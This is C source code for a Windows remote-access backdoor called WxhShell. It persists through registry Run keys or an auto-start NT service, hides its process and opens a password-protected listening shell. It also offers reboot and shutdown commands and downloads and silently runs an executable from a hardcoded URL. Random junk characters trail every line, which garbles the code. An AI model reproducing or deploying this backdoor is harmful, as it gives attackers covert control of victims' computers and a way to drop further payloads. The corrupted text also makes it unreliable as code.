    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t ?bq ~!X  
    else { /SMp`Q88  
    closesocket(wsh); S\0"G*  
    ExitThread(0); :\80*[=;Z  
    } yr sP'th  
    break; _9n.ir5YX  
    } nWXI*%m5  
  // 关机 :Hd?0eZ|  
  case 'd': { CWBsiL f  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,}{E+e5jh7  
    if(Boot(SHUTDOWN)) =Rb,`%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -^#Ix;%  
    else { M8juab%y  
    closesocket(wsh); rcI(6P<*  
    ExitThread(0); ;uoH+`pf  
    } K?I@'B'  
    break; "#4PU5.  
    } I">z#@CT  
  // 获取shell P:*'x9`  
  case 's': { #{h4lte  
    CmdShell(wsh); |{ 9"n<JW  
    closesocket(wsh); Y!POUMA }A  
    ExitThread(0); 1M 3U)U  
    break; SF.,sCk  
  } a S<JsB  
  // 退出 6 Dg[ b  
  case 'x': {  h@W}xT  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |d%Dw^  
    CloseIt(wsh); QyHUuG|g  
    break; sp_(j!]jX  
    } "sg$[)I3n  
  // 离开 Opjt? ]  
  case 'q': { kdmVHiGF  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sgCIY:8  
    closesocket(wsh); PI{sO |  
    WSACleanup(); x[(2}Qd  
    exit(1); J puW !I  
    break; >Y2Rr9  
        } /AMtT%91  
  } 5lU`o  
  } iicrRGp3  
9l,Gd  
  // 提示信息 p^L6uM  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qbP[  9  
} j ^_ G  
  } <M$hj6.tn  
QT|mN  
  return; CS"p[-0  
} &UzZE17R  
{g @ *jo&  
// shell模块句柄 @'}X&TN<a  
int CmdShell(SOCKET sock) <|2_1[,sl  
{ Kjf#uU.7  
STARTUPINFO si; "\>3mVOb  
ZeroMemory(&si,sizeof(si)); nmSpNkJ5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +i)1 jX<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^ g4)aaBZ  
PROCESS_INFORMATION ProcessInfo; 5mFi)0={y  
char cmdline[]="cmd"; :_e.ch:4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ax 3:rl  
  return 0; Q]|+Y0y}X  
} zM@iG]?kc  
2<988F  
// 自身启动模式 *50Ykf  
int StartFromService(void) Aga7X@fV(  
{ hVGakp9WE  
typedef struct RuXK` y Sv  
{ CLYcg$V  
  DWORD ExitStatus; nEGku]pCH{  
  DWORD PebBaseAddress; -Z;:_"&9  
  DWORD AffinityMask; Jhj]rsGk  
  DWORD BasePriority; G)e 20Mst  
  ULONG UniqueProcessId; k~q[qKb8y:  
  ULONG InheritedFromUniqueProcessId; [j![R  
}   PROCESS_BASIC_INFORMATION; <v2R6cj5  
\\/X+4|o'  
PROCNTQSIP NtQueryInformationProcess; |2oB3 \)/  
[ 0~qs|27  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >K &b,o,[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '.dW>7  
t 1&p> v  
  HANDLE             hProcess; ar^`r!ABEh  
  PROCESS_BASIC_INFORMATION pbi; $K,aLcu  
f a\cLC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lhjPS!A~  
  if(NULL == hInst ) return 0; |QzPY8B9O  
nB:Bw8U"Q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); de`6%%|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ZO;]Zt]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v$mA7|(t!  
~cZ1=,P  
  if (!NtQueryInformationProcess) return 0; CY 7REF  
v(t&8)Uu  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); | 'z)RFqj  
  if(!hProcess) return 0; I+<;D sp  
=k8A7P  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +L49 pv5  
1/fvk  
  CloseHandle(hProcess); keWgbj  
"Km`B1f`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K3Xy%pqR#  
if(hProcess==NULL) return 0; *Z0}0< D@Z  
@+ 2Zt%  
HMODULE hMod; V2y[IeSQ  
char procName[255]; DMf9wB  
unsigned long cbNeeded; (*;u{m=  
A9R}74e4g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w%ip"GT,  
%kUJ:lg;d  
  CloseHandle(hProcess); x``!t>)O  
`C()H@;  
if(strstr(procName,"services")) return 1; // 以服务启动 ~ACB #D%  
r'!l` gm,S  
  return 0; // 注册表启动 Hc+<(g   
} [Ytia#Vv  
YW'Y=*  
// 主模块 fSP~~YSeU  
int StartWxhshell(LPSTR lpCmdLine) ~q4y'dBy*  
{ [6Wr t8"  
  SOCKET wsl; :{AN@zC0\  
BOOL val=TRUE; hlVP_h"z  
  int port=0; K l4",  
  struct sockaddr_in door; "s*{0'jo  
kQb0pfYs  
  if(wscfg.ws_autoins) Install(); QxkfP%_g  
:C&?(HJ&r  
port=atoi(lpCmdLine);  [:k'VXL  
_m&VdIPO  
if(port<=0) port=wscfg.ws_port; zZRqb/20  
j[HKC0C6  
  WSADATA data; 6RF01z|~_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ENmo^O#,u  
W`\H3?C`xQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~\/ J&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y#MLxm  
  door.sin_family = AF_INET; a=J?[qrx  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0N}5sF  
  door.sin_port = htons(port); s,}<5N]U  
sDF J  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { YU"Am !  
closesocket(wsl); CJC|%i3  
return 1; \x+DEy'4;5  
} \?g%>D:O;  
(r|T&'yK  
  if(listen(wsl,2) == INVALID_SOCKET) { 7q?Yd AUz  
closesocket(wsl); Uyh   
return 1; ^U =`Rx  
} ! Q#b4f  
  Wxhshell(wsl); <hea%6  
  WSACleanup(); CxRp$;rk  
WLpn,8qsY  
return 0; OBZ|W**N"  
?1{`~)"  
} @U)'UrNr~  
6M6QMg^  
// 以NT服务方式启动 ,'9tR&S$_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U %4g:s  
{ -Z Z$ 1E  
DWORD   status = 0; 06`__$@h  
  DWORD   specificError = 0xfffffff; _(jE](,  
UqHOS{\Sz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Z 0:2x(x9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; JTI m`t"d=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; . 9 NS  
  serviceStatus.dwWin32ExitCode     = 0; 1t0F J@)*  
  serviceStatus.dwServiceSpecificExitCode = 0; EK'&S=]  
  serviceStatus.dwCheckPoint       = 0; 3x'30  
  serviceStatus.dwWaitHint       = 0; X+3)DE\2  
)&9 =)G  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N!v@!z9Mu  
  if (hServiceStatusHandle==0) return; w0IB8GdF  
y(R*Z^c}d,  
status = GetLastError(); !G,$:t1-=V  
  if (status!=NO_ERROR) @v'D9 ?  
{ I>xB.$A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4"2/"D0  
    serviceStatus.dwCheckPoint       = 0; c,qCZ-.Sg  
    serviceStatus.dwWaitHint       = 0; =oTYwU  
    serviceStatus.dwWin32ExitCode     = status; U&5zs r  
    serviceStatus.dwServiceSpecificExitCode = specificError; W wE)XE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); WU4i-@Bm8  
    return; sHuz10  
  } >R: +ml  
b[k 1)R"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; GlZ9k-ZRF  
  serviceStatus.dwCheckPoint       = 0; [E^X=+Jnz  
  serviceStatus.dwWaitHint       = 0; 5 QeGx3'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jysV%q 3  
} Dmi;# WY  
>SJ$41"E  
// 处理NT服务事件,比如:启动、停止 </Id';|v  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n96gDH*  
{ Fs|;>Up0  
switch(fdwControl) YUb,5Y0  
{ {|gJC>f@  
case SERVICE_CONTROL_STOP: 9H}&Ri%  
  serviceStatus.dwWin32ExitCode = 0; Z)A+ wM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; VB\6S G  
  serviceStatus.dwCheckPoint   = 0; 9c^EoYpy-  
  serviceStatus.dwWaitHint     = 0; "{k )nr+7U  
  { J){\h-4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `Y;gMrp  
  } @e,Zmx  
  return; O}-7 V5  
case SERVICE_CONTROL_PAUSE: {|h"/   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Qzhnob#C9  
  break; -X[[ OR9+  
case SERVICE_CONTROL_CONTINUE: \?^wu  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; PQ]9xzOg[  
  break; AL7O-D  
case SERVICE_CONTROL_INTERROGATE: O-5U|wA  
  break; h yKg=Foq  
}; Zsogx}i-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w2+]C&B*  
} KUutC :  
e W)I}z +{  
// 标准应用程序主函数 W~F/ZrT3A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a~7osRmp0  
{ ;8T=uCi  
~BZV:Es  
// 获取操作系统版本 KaE;4gwM  
OsIsNt=GetOsVer(); 5#)<rK  
GetModuleFileName(NULL,ExeFile,MAX_PATH); HdUW(FZ  
d-sh6q5  
  // 从命令行安装 BznA)EK?@  
  if(strpbrk(lpCmdLine,"iI")) Install(); grdyiBSVn  
_ICDtG^  
  // 下载执行文件 b=U MoWS  
if(wscfg.ws_downexe) { 4 .B*B3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vx@p;1RU`  
  WinExec(wscfg.ws_filenam,SW_HIDE); [Be53U{=  
} dO;vcgvb  
xg^^@o  
if(!OsIsNt) { @%nUfG7TQ  
// 如果时win9x,隐藏进程并且设置为注册表启动 xJLO\B+gM  
HideProc(); |a$w;s>\  
StartWxhshell(lpCmdLine); Z{4aGp*  
} AdW2o|Uap  
else 9:i,WJO  
  if(StartFromService()) (y=o]Vy  
  // 以服务方式启动 FTnQqDuT  
  StartServiceCtrlDispatcher(DispatchTable); K=?F3tX^  
else ]C6[`WF  
  // 普通方式启动 idS RWa  
  StartWxhshell(lpCmdLine); QeJ.o.m{  
|K;Txe_  
return 0; %OW9cqL>l  
} Yb3f]4EH  
p}DF$k%`  
(+8xUc(w  
$A@3ogoS&  
=========================================== bM0[V5:jB  
F]A~~P  
r&3o~!  
-,A5^>}%,Y  
N8YBu/  
j~S!!Z ]  
" KBRg95E~]l  
;3}EB cw)  
#include <stdio.h> *\:_o5o%[T  
#include <string.h> eQVPxt2N  
#include <windows.h> d3G{0PX  
#include <winsock2.h> 50GYL5)q  
#include <winsvc.h> )R)$T'  
#include <urlmon.h> 1R%`i '$/  
W}2 &Pax  
#pragma comment (lib, "Ws2_32.lib") L sDzV)  
#pragma comment (lib, "urlmon.lib") )g:,_1s)|  
EhPVK6@  
#define MAX_USER   100 // 最大客户端连接数 .hlQ?\  
#define BUF_SOCK   200 // sock buffer Qy^z*s  
#define KEY_BUFF   255 // 输入 buffer )cK  tc  
px }7If  
#define REBOOT     0   // 重启 U?F^D4CV\  
#define SHUTDOWN   1   // 关机 hY= s9\  
c`i=(D<  
#define DEF_PORT   5000 // 监听端口 oUvk2]H  
<%>n@A  
#define REG_LEN     16   // 注册表键长度 7{^4 x#NO  
#define SVC_LEN     80   // NT服务名长度 b({Nf,(a2  
RD$tc~@UB  
// 从dll定义API >@^yj+k  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q$?7 ~*M;x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); uz#PBV8Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); q_]   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )ehB)X  
myWmU0z/  
// wxhshell配置信息 TG63  
struct WSCFG { HCx%_9xlm  
  int ws_port;         // 监听端口 'ztL3(|X6  
  char ws_passstr[REG_LEN]; // 口令 Vo 6y8@\  
  int ws_autoins;       // 安装标记, 1=yes 0=no nKh%E-c  
  char ws_regname[REG_LEN]; // 注册表键名 [%84L@:h  
  char ws_svcname[REG_LEN]; // 服务名 %g0z) J  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [|[sYo  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 mfngbFa1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |J<pLz  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~1=.?Ho  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?z@v3(b[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wyrI8UY  
hD$p;LF  
}; S#h'\/S  
T018)WrhL  
// default Wxhshell configuration c BHL,  
struct WSCFG wscfg={DEF_PORT, ,%?; \?b%h  
    "xuhuanlingzhe", WS1&3mOd  
    1, >'ksXA4b  
    "Wxhshell", Wj4^W<IO  
    "Wxhshell", !2Xr~u7a  
            "WxhShell Service", rv,NQZ  
    "Wrsky Windows CmdShell Service", 6MQs \J6.  
    "Please Input Your Password: ", NF/Ti5y  
  1, rwL=R,  
  "http://www.wrsky.com/wxhshell.exe", %jZp9}h  
  "Wxhshell.exe" v LBee>$  
    }; \,l.p_<  
5y%un  
// 消息定义模块 {b|3]_-/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; yE.495  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )l#%.Z9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  :Hzz{'  
char *msg_ws_ext="\n\rExit."; w>6"Sc7oc2  
char *msg_ws_end="\n\rQuit."; pHj[O?F  
char *msg_ws_boot="\n\rReboot..."; nIyROhZ  
char *msg_ws_poff="\n\rShutdown..."; '&-5CpDUs  
char *msg_ws_down="\n\rSave to "; #QTfT&m+G}  
AaVI%$  
char *msg_ws_err="\n\rErr!"; jr, &=C(  
char *msg_ws_ok="\n\rOK!"; DJViy  
g[EM]q,  
char ExeFile[MAX_PATH]; mq J0z4I}  
int nUser = 0; .'^6QST  
HANDLE handles[MAX_USER]; pcI&  
int OsIsNt; M<{5pH(K  
!fi &@k  
SERVICE_STATUS       serviceStatus; I|g@W_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; lh,ylh  
?iPZsV  
// 函数声明 A6^p}_  
int Install(void); E!zd(  
int Uninstall(void); %\}dbYS '  
int DownloadFile(char *sURL, SOCKET wsh); ( zn_8s  
int Boot(int flag); 5q5 )uv"  
void HideProc(void); Q7~'![(a  
int GetOsVer(void); Gur8.A;Y  
int Wxhshell(SOCKET wsl); tt6. jo  
void TalkWithClient(void *cs); @-wNrW$  
int CmdShell(SOCKET sock); T-a&e9B  
int StartFromService(void); cWN d<=Jp  
int StartWxhshell(LPSTR lpCmdLine); HGO#e  
zwM"`z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,f8}q]FTA  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )XLj[6j0  
2d-TU_JqX  
// 数据结构和表定义 e[x?6He,$  
SERVICE_TABLE_ENTRY DispatchTable[] = A Gv!c($  
{ rNxrQ  
{wscfg.ws_svcname, NTServiceMain}, K\RWC4  
{NULL, NULL} J+ Jt4  
}; AMbKN2h1f  
`Y\gSUhzS  
// 自我安装 yGb a  
int Install(void) F&=I7i  
{ !oZQ2z~  
  char svExeFile[MAX_PATH]; R%>jJ[4\[  
  HKEY key; /xl4ohL$a  
  strcpy(svExeFile,ExeFile); 9{_8cpm4  
$ q%mu  
// 如果是win9x系统,修改注册表设为自启动 R[x7QlA;  
if(!OsIsNt) { OENzG~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q;4}gUmI$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T>d\%*Q+B  
  RegCloseKey(key); cNe0x2Z$?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^#]c0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d)N^PJ/  
  RegCloseKey(key); ,Z^Ca15z  
  return 0; ,mBZ`X@N  
    } ZAMeqPt  
  } js~tKUvg  
} ,Kuk_@(}5~  
else { >9ob*6q,  
1Fv8T'  
// 如果是NT以上系统,安装为系统服务 T YYp"wx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2b5#PcKa  
if (schSCManager!=0) +a|"{  
{ zJ5hvDmC  
  SC_HANDLE schService = CreateService vkJ)FEar  
  ( }i(qt&U;  
  schSCManager, 5?Bc Y ;  
  wscfg.ws_svcname, 2z4<N2! M  
  wscfg.ws_svcdisp, '!p=aF9L  
  SERVICE_ALL_ACCESS, 3filAGR?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z<hFK+j,'^  
  SERVICE_AUTO_START, Re>AsnA[  
  SERVICE_ERROR_NORMAL, l09Fn>wa  
  svExeFile, "u_i[[y  
  NULL, jAXR`D  
  NULL, cv2]*  
  NULL, 2gt+l?O<PS  
  NULL, ^EF'TO$  
  NULL 9z:K1  
  ); :Zza)>l  
  if (schService!=0) UVrQV$g!  
  { -LTKpN`[@  
  CloseServiceHandle(schService); wzd`l?o,  
  CloseServiceHandle(schSCManager); o+NMA (  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ylu2R0] (  
  strcat(svExeFile,wscfg.ws_svcname); _pW_G1U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M i]I:ka  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z Ct\o  
  RegCloseKey(key); pV7N byb4  
  return 0; 4jQ'+ 2it  
    } Y&K <{\vE  
  } C ZJV_0  
  CloseServiceHandle(schSCManager); :$?Q D  
} w d/G|kNO  
} 3Hw[s0[$  
;FU|7L$H  
return 1; }k7_'p&yk  
} YGp)Oy}:  
/;Yy@oc  
// 自我卸载 `N}d}O8   
int Uninstall(void) S/.^7R7{f  
{ oaK.kOo  
  HKEY key; JE hm1T  
,X68xk.'  
if(!OsIsNt) { eCWPhB 6l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dQD$K|aUp  
  RegDeleteValue(key,wscfg.ws_regname); sHdp  
  RegCloseKey(key); _\\ -md:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M(enRs3`O  
  RegDeleteValue(key,wscfg.ws_regname); L2fZ{bgy  
  RegCloseKey(key); ,(N[*)G  
  return 0; )o{aeV  
  } m2xBS!fm  
} io.]'">  
} .IgRY\?Q  
else { K*Ks"Vx  
'H|~u&?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e"k/d<  
if (schSCManager!=0) e4\dpvL  
{ Z(e ^iH  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?qmp_2:WU  
  if (schService!=0) jn JZ# =)  
  { :U'Cor H  
  if(DeleteService(schService)!=0) { e)@3m.  
  CloseServiceHandle(schService); j+kC-U;  
  CloseServiceHandle(schSCManager); 7C7>y/uS  
  return 0; 7O)" `  
  } FOH@OY  
  CloseServiceHandle(schService); P|xG\3@Z  
  } .TpsJXF  
  CloseServiceHandle(schSCManager); M:n6BC>t"  
} ~Y7dH Dn  
} Vn, >< g  
q/PNJ#<  
return 1; ^A9 M;q  
} p=Y>i 'CG  
;b0NGa(k  
// 从指定url下载文件 7 ^$;  
int DownloadFile(char *sURL, SOCKET wsh) <+v{GF#R  
{ o&SSv W  
  HRESULT hr; pf&ag#nr  
char seps[]= "/"; t Rm+?  
char *token; s^hR\iY  
char *file; eGL<vX  
char myURL[MAX_PATH]; tg\|?  
char myFILE[MAX_PATH]; 2eb1 lJdS  
3<:jx~y>  
strcpy(myURL,sURL); eSfnB_@x2  
  token=strtok(myURL,seps); Y@uh[aS!  
  while(token!=NULL) )C~9E 5E  
  { Q@S-f:!  
    file=token; $IX\O  
  token=strtok(NULL,seps); O )d[8jw"  
  } F #`=oM $5  
fjG&`m#"  
GetCurrentDirectory(MAX_PATH,myFILE); wTc)S6%7  
strcat(myFILE, "\\"); j:,9%tg  
strcat(myFILE, file); 91Z'  
  send(wsh,myFILE,strlen(myFILE),0); Vzg=@A#  
send(wsh,"...",3,0); O_~7Glu  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Yh<WA>=  
  if(hr==S_OK) ZDt?j   
return 0; =9wy/c$  
else &,:h)  
return 1; 9902+pW  
EGVM)ur  
} v,@F|c?_S  
@N@F,~[RR2  
// 系统电源模块 3gEMRy*+  
int Boot(int flag) 9=`Wp6Gmn  
{ p@ NaD=9  
  HANDLE hToken; pzZk\-0R  
  TOKEN_PRIVILEGES tkp; #5} wuj%5  
YJV%a  
  if(OsIsNt) { .a'f|c6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4rg2y]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Xf[kI  
    tkp.PrivilegeCount = 1; ^teq[l$;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6%G-Vs]*2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); tq1CwzRX  
if(flag==REBOOT) { > L2HET  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _}xd}QW  
  return 0; I:cg}JZ>|  
} i1lBto[  
else { L{-LX= G^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =c.5874A`  
  return 0; fWnD\mx?0  
} QS[L~97m2M  
  } $'rG-g!f\  
  else { =FP0\cQ.  
if(flag==REBOOT) { 4GdX/6C.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 58Xzup_"  
  return 0; e'%v1-&sP  
} ia@'%8  
else { v=@TWEE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \y`+B*\i  
  return 0; 8.AR.o  
} D\dWt1n  
} b;sVls  
:KJ pk:<  
return 1; \NZIEu)5?  
} bNs4 5hDP  
}@ Z56  
// win9x进程隐藏模块 a' Ki;]q  
void HideProc(void) }je,")#W  
{ S-Y=-"  
f5AjJYq1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  ^zzP.   
  if ( hKernel != NULL ) c/N@zum,{  
  { S8[=S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ygJr=_iA9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JxE53ev  
    FreeLibrary(hKernel); y$FW$Ka  
  } ajR%c2G;  
IJYL s  
return; !G^L/?z3  
} c #-U%qZ  
M>9-=$7  
// 获取操作系统版本 fZ04!R  
int GetOsVer(void) I-y#Ks1p+  
{ KqBk~-G  
  OSVERSIONINFO winfo; #} ~qqJ G2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -}O1dEn.  
  GetVersionEx(&winfo); vE@!{*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~(!XY/0e  
  return 1; f`9 b*wV  
  else 0sN.H=   
  return 0; C2LL|jp*  
} An;MVA  
5pr"d@.  
// 客户端句柄模块 +/,icA}PI  
int Wxhshell(SOCKET wsl) @SZM82qU2z  
{ {^(ACS9mL  
  SOCKET wsh; ?0? R  
  struct sockaddr_in client; Q_* "SRz  
  DWORD myID; S5~VD?O,  
-p3Re9  
  while(nUser<MAX_USER) Bj k]ZU0T  
{ fVb-$  
  int nSize=sizeof(client); eSWL rryY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /|#&px)G  
  if(wsh==INVALID_SOCKET) return 1; 7+X:LA~U  
"k]CW\H6z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); d ;vT ~;  
if(handles[nUser]==0) O"Ku1t!  
  closesocket(wsh); * #jsgj[  
else mPI8_5V8]  
  nUser++; 0/S_e)U  
  } L}@c6fHG  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3"o"fl  
s! n<}C  
  return 0; (WJ${OW  
} ? A(QyaKz  
nKW*Y}VO  
// 关闭 socket x77l~=P+!  
void CloseIt(SOCKET wsh) fP.F`V_Y  
{ PV|uPuz  
closesocket(wsh); ^Ge+~o?x  
nUser--; j'9"cE5_  
ExitThread(0); :'#TCDlOb  
} TXe$<4"  
XsnF~)YW  
// 客户端请求句柄 ylt`*|$  
void TalkWithClient(void *cs) X]\ \,  
{ :_!8 WB  
N<QXmgqx  
  SOCKET wsh=(SOCKET)cs; c478P=g=5  
  char pwd[SVC_LEN]; Yjx|9_|Xn  
  char cmd[KEY_BUFF]; v) vkn/:  
char chr[1]; &u#&@J  
int i,j; pdE3r$C  
?LvCR_D:  
  while (nUser < MAX_USER) { zZVfj:i8  
z dO#0t N  
if(wscfg.ws_passstr) { PRz/inru-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _YcA+3ZL  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f=)2f =  
  //ZeroMemory(pwd,KEY_BUFF); (SKVuR%Jj  
      i=0; aN"DkUYZM  
  while(i<SVC_LEN) { /yM:| `tT  
m1Y >Nj[f  
  // 设置超时 a4irokJv#  
  fd_set FdRead; R {-5Etv  
  struct timeval TimeOut; {&"N%;`Q  
  FD_ZERO(&FdRead); kF/9-[]$g,  
  FD_SET(wsh,&FdRead); &hRvol\J  
  TimeOut.tv_sec=8; Mn)@{^  
  TimeOut.tv_usec=0; mdRU^n  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jQ:OKh<Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d/i`l*  
&197P7&o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xQUu|gtL4  
  pwd=chr[0]; !Q#{o^{Y~  
  if(chr[0]==0xd || chr[0]==0xa) { lT(oL|{#P  
  pwd=0; ;3' .C~   
  break; 8MSC.0   
  } br|;'i%(  
  i++; ]\!?qsT3}  
    } iezO9`  
0}b tXh  
  // 如果是非法用户,关闭 socket rwGKfoKI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Hla0 5N' 4  
} TA{\PKA)  
]Ux<aiY]a  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5H ue7'LS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8 XU1 /i7N  
1Z9qjV%^  
while(1) { >yULC|'F&~  
Z,=7Tu bR#  
  ZeroMemory(cmd,KEY_BUFF); {~F4WjHJp  
B[KJR?>  
      // 自动支持客户端 telnet标准   aoXb22]{  
  j=0; mya_4I m  
  while(j<KEY_BUFF) { ;Rv!k&Df  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5O\*h;U 6  
  cmd[j]=chr[0]; 3g >B"t  
  if(chr[0]==0xa || chr[0]==0xd) { ;aw=MV  
  cmd[j]=0; _'(,  
  break; uuQ(&  
  } Rj4|Q:XG  
  j++; cJrmm2.0kD  
    }  -4cXRv]  
qTqwPWW*  
  // 下载文件  rwI  
  if(strstr(cmd,"http://")) { 5F~'gLH/F-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~-I +9F  
